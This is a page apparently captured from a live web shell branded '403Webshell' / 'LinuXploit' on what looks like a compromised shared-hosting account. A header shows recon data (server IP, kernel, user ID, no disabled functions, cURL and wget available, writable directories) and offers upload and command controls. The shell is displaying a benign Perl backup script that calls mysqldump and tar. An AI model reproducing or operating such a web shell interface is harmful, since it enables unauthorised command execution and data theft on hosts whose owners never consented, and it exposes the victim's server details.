403Webshell
Server IP : 74.208.236.79  /  Your IP : 216.73.216.40
Web Server : Apache
System : Linux infongp-us50 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u93192080 ( 6162215)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/susshi/exec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/susshi/exec/backup
#!/usr/bin/perl

use warnings;
use strict;

use lib '/usr/lib/susshi/exec';
use Susshi;

use File::Temp qw( tempfile );
use IPC::Run qw( run timeout );

my ($dump_fh, $dump_filename);

my $susshi = Susshi->new( -read_input => 1 );
umask(0077);
my ($backupdir, $filename) = $susshi->get_backuppath;

! -f $filename 
    or error_die "File already exists: $filename\n";

my $directory = $susshi->get_directory( 'directory' );
my $database  = $susshi->get_database( 'database' );

if (! $database && ! $directory) {
    error_die "Please provide 'database' and/or 'directory' data.\n";
}

# Build TAR command
my @tar_cmd = ('tar', '-czf', $filename);

# Database backup requested?
if ($database) {
    my @cmd=( '/usr/bin/mysqldump', $database->get_mysql_args);
    my (undef, $tables) = $database->get_tables();
    push @cmd, @$tables;
    
    eval {
        ($dump_fh, $dump_filename) = tempfile( '.database.dump.XXXX', UNLINK => 1);
    };
    error_die ($@) if $@;
    eval {
        my $err='';
        run \@cmd, '>', $dump_fh, '2>', \$err, timeout (3600) or die $err;
    };
    error_die ($@) if $@;
    push @tar_cmd, ('--transform', "s,$dump_filename,database.dump,", $dump_filename);
}

# Directory backup requested?
if ($directory) {
    push @tar_cmd, ('--transform', 's,^\.,files,', '-C', $directory, '.');
}

eval {
    my $err='';
    if ( ! run \@tar_cmd, '2>', \$err, timeout (3600) ) {
        if ($? == 256) {
            info("tar exit status 1: $err");
        } else {
            die $err;
        }
    }
};
if ($@) {
    unlink $filename;
    error_die "Could not create archive: $@";
}

info "Created backup $filename";

send_json_output({size => -s $filename});

exit 0;

Youez - 2016 - github.com/yon3zu
LinuXploit